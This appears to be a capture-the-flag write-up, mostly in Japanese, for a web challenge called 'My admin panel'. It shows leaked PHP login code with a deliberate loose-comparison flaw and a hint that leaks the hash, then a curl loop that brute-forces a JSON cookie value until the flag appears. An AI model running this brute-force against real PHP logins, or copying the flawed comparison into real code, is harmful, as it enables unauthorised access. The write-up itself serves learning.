web warmup
login.php.bakファイルをダウンロードすると次のようになっています。cookieにotadmin変数をセットする必要があります。jsonの形式でhashにMD5の値を設定します。
My admin panel
Points: 77
Solves: 74
URLにアクセスすると下図のページが表示されます。I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?
login.php.bakファイルをダウンロードすると次のようになっています。cookieにotadmin変数をセットする必要があります。jsonの形式でhashにMD5の値を設定します。
<?phpinclude '../func.php';include '../config.php';if (!$_COOKIE['otadmin']) {exit("Not authenticated.\n");}if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";exit();}$session_data = json_decode($_COOKIE['otadmin'], true);if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {echo("I CAN EVEN GIVE YOU A HINT XD \n");for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {echo(ord(MD5($cfg_pass)[$i]) & 0xC0);}exit("\n");}display_admin();
0xC0とANDを取ると0~9のときは0が出力され、A~Fのときは64(0x40)が出力されます。また、PHPの!=の比較演算子の場合、数値と比較すると文字列が数値に変換されて比較されます。ヒントの頭3桁が000であるので0~999の数値をcookieにセットすることで一致させることができそうです。
以上を実行するシェルスクリプトを書きますfor i in `seq 0 999`doecho $iout=`curl gameserver.zajebistyc.tf/admin/login.php -b "otadmin={\"hash\": $i"}`echo $outif [ "`echo $out | grep p4{`" ]; then break; fidone
実行すると389のときにフラグが表示されます。
0% Total % Received % Xferd Average Speed Time Time Time CurrentDload Upload Total Spent Left Speed100 78 0 78 0 0 120 0 --:--:-- --:--:-- --:--:-- 120I CAN EVEN GIVE YOU A HINT XD 0006464640640064000646464640006400640640646400(略)389% Total % Received % Xferd Average Speed Time Time Time CurrentDload Upload Total Spent Left Speed100 58 0 58 0 0 160 0 --:--:-- --:--:-- --:--:-- 160Congratulations! p4{wtf_php_comparisons_how_do_they_work}
フラグは、
p4{wtf_php_comparisons_how_do_they_work}
です。